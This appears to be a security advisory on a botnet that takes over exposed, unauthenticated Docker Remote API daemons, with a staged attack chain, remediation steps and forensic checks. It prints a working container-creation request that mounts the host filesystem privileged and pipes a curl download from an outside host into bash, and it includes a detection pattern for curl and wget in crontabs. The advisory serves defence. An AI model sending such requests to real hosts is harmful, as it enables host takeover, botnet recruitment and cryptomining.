The Singapore Computer Emergency Response Team (SingCERT), the operational cyber incident response branch of the Cyber Security Agency of Singapore (CSA), has issued an urgent technical advisory warning enterprise cloud architects and DevOps teams of widespread exploitation activity conducted by the CARBONATO botnet. The threat campaign is actively scanning Singapore-assigned cloud IP allocations (including AWS ap-southeast-1, Azure Southeast Asia, GCP asia-southeast1, and regional data centers) to identify and weaponize unauthenticated Docker Remote API daemons exposed on TCP ports 2375 and 2376.
| Campaign Attribute | Threat Actor Tradecraft & Technical Signature | Remediation Mandate |
|---|---|---|
| Target Port | TCP 2375 (Unencrypted HTTP) and TCP 2376 (Unauthenticated TLS) | Drop all public ingress via Cloud Security Group / Firewall. |
| Vulnerability Type | CWE-306 (Missing Authentication for Critical Function) | Configure Docker to bind exclusively to Unix domain socket or enforce mTLS. |
| Exploit Mechanism | Remote POST /containers/create with privileged host volume mount (/var/run/docker.sock & /mnt -> /) |
Disable root container daemon; enforce Docker Rootless mode. |
| Payload Artifacts | carbonato.x86_64, xmrig_miner, malicious cron jobs in /var/spool/cron/crontabs/root |
Kill rogue containers; purge infected crontabs; rotate cloud instance credentials. |
| Botnet Objectives | High-volume volumetric DDoS amplification & unauthorized cryptocurrency mining | Audit outbound UDP/TCP flooding telemetry in VPC flow logs. |
Attack Mechanics: The Unauthenticated Docker Remote API Vulnerability
By default, the Docker Engine daemon (dockerd) listens locally on the Unix domain socket unix:///var/run/docker.sock. This architecture requires local administrative permissions (membership in the docker group or sudo) to communicate with the daemon.
However, during development, CI/CD pipeline automation, or remote cluster setup, DevOps engineers frequently configure the Docker daemon to listen on a TCP network socket to permit remote container builds and management. When configured without explicit TLS client certificates (mutual TLS / mTLS), anyone who can establish a TCP connection to port 2375 can issue raw Docker REST API commands with complete, unfettered root authority over the host operating system.
Step-by-Step Attack Chain
SingCERT’s forensic analysis highlights a four-stage automated attack chain executed within seconds of discovering an exposed endpoint:
# 1. Adversary automated scan discovers unauthenticated Docker API:
GET /v1.41/version HTTP/1.1
Host: 203.0.113.88:2375
# 2. Daemon responds with complete engine metadata, confirming unauthenticated access:
HTTP/1.1 200 OK
Content-Type: application/json
{"Platform":{"Name":"Docker Engine - Community"},"Version":"24.0.7","ApiVersion":"1.43", ...}
Stage 2: Spawning the Privileged Escape Container
Having confirmed open access, the CARBONATO automated scanner issues a container creation API call that mounts the entire host Linux root filesystem (/) into an ephemeral container under /mnt, with full root capabilities:
POST /v1.41/containers/create HTTP/1.1
Host: 203.0.113.88:2375
Content-Type: application/json
{
"Image": "alpine:latest",
"Cmd": ["chroot", "/mnt", "sh", "-c", "curl -s http://198.51.100.99/carbonato.sh | bash"],
"Binds": [
"/:/mnt:rw",
"/var/run/docker.sock:/var/run/docker.sock:rw"
],
"HostConfig": {
"Privileged": true,
"NetworkMode": "host",
"PidMode": "host"
}
}
Stage 3: Container Escape and Host Takeover
The attacker starts the container via POST /v1.41/containers/{id}/start. When the container executes chroot /mnt, the execution boundary between the container and the underlying Linux host collapses entirely. The payload executes with native uid=0 privileges on the parent host operating system, writing malicious cron tasks directly into /etc/crontab, creating unauthorized SSH keys in /root/.ssh/authorized_keys, and disabling local firewall logging.
Stage 4: Botnet Recruitment & Monero Mining
The dropped payload downloads two distinct binary modules:
- Volumetric DDoS Bot: Connects to a C2 server via IRC or encrypted TCP on port 6667, receiving target IP addresses to bombard with SYN-flood and UDP-amplification attacks.
- XMRig Cryptominer: Configures multi-threaded mining pegged to 95% CPU capacity, actively hiding process names by masquerading as legitimate system daemons like
systemd-resolvedorkworker/0:1.
Defensive Remediation Playbook: Securing Docker Environments
SingCERT has mandated that cloud and system administrators across Singapore take immediate corrective actions to neutralize exposed Docker endpoints.
1. Immediate Network Isolation
Ensure that cloud security groups (AWS Security Groups, Azure Network Security Groups, GCP Firewall Rules) block TCP ports 2375 and 2376 from all public ingress (0.0.0.0/0):
# Immediate Linux host firewall block:
sudo iptables -I INPUT -p tcp --dport 2375 -j DROP
sudo iptables -I INPUT -p tcp --dport 2376 -j DROP
2. Bind Docker Daemon Exclusively to Localhost or Unix Socket
Inspect the Docker daemon configuration file (/etc/docker/daemon.json). Remove any references to tcp://0.0.0.0:2375. The daemon should only listen on the local Unix domain socket unless mutual TLS is explicitly enforced:
{
"hosts": ["unix:///var/run/docker.sock"]
}
Restart the daemon to apply changes:
sudo systemctl restart docker
3. Enforce Mutual TLS (mTLS) for Remote Docker Management
If remote API access is genuinely required for CI/CD orchestrators, configure Docker to require cryptographic client verification with CA-signed certificates:
{
"hosts": ["tcp://0.0.0.0:2376", "unix:///var/run/docker.sock"],
"tls": true,
"tlsverify": true,
"tlscacert": "/etc/docker/certs/ca.pem",
"tlscert": "/etc/docker/certs/server-cert.pem",
"tlskey": "/etc/docker/certs/server-key.pem"
}
Forensic Audit: Detecting Active CARBONATO Compromise
Security operations centers should run the following commands on all cloud instances to determine if an unauthenticated Docker daemon has been compromised:
# Check for unauthorized running containers:
docker ps -a --format "table {{.ID}} {{.Image}} {{.Command}} {{.Status}}"
# Audit cron schedules for suspicious outbound curls:
sudo cat /etc/crontab /etc/cron.*/* /var/spool/cron/crontabs/* 2>/dev/null | grep -iE "(curl|wget|sh|python|.xyz|.top)"
# Check for unexpected processes consuming excessive CPU:
top -b -n 1 | head -n 20
# Search for unauthorized root SSH keys:
sudo cat /root/.ssh/authorized_keys
Containerization provides massive deployment agility, but exposing raw management daemons without authentication effectively hands complete root access to global botnet operators. Enforcing strict network boundaries and mutual cryptographic authentication is the essential baseline for enterprise container hygiene.



